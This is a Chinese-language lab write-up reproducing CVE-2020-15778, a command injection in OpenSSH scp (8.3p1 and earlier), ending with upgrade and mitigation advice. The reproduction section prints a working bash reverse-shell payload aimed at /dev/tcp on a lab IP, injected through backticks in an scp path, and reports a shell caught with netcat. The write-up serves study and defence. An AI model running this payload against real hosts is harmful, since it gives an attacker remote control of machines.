[OpenSSH命令执行]CVE-2020-15778(漏洞复现)
实验环境:
靶机:kali2021
攻击机:kali2021
VMware:vmware14
实验工具:
OpenSSH
SCP
netcat
相关信息简单描述:
SSH协议(安全外壳协议)
Ssh是一种为了建立安全回话而生的一个协议,专为远程登录会话和其他网络服务提供安全性的协议
OpenSsh
OpenSSh是linux上的一个ssh协议的免费开源实现
SCP
SCP是OpenSSh的scp.c及其他相关代码实现,功能为 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令,相对于rcp,scp是加密的,命令格式如下
scp Filename user@host:directory/Filename
漏洞条件:
OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。但是前提是真的ssh用户名密码。
目标靶机OpenSSH 版本小于等于 8.3p1的版本均受影响
漏洞原理:
OpenSSH的8.3p1中的scp允许
使用scp复制文件到远程服务器
时,在scp命令后面跟上文件的
路径,这时scp会使用”-t”参数
来获取存储传入文件的路径,问题就出在这个地方,也就是"scp.c"文件的991行,如图。这个地方未对传入的文件路径进行检测防护。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。
漏洞复现:
首先确认靶机存在漏洞
NetCat监听端口6666
攻击机执行SCP命令
`bash -i >& /dev/tcp/192.168.83.138/6666 0>&1`
linux 反引号表示当做命令执行
/dev/tcp是一个特殊文件 打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
>& 是管道符 表示重定向标准输出
0>&1 表示标准输入重定向到标准输出
反弹成功
成功反弹shell
至此我们已经通过NC远程控制目标机器
防御手段:
升级OpenSSH版本到最新版:
openssh 升级版本大于8.3p1
禁用SCP命令:
删除本地SCP命令
定时更换ssh登录密码
通过命令 passwd命令修改登录密码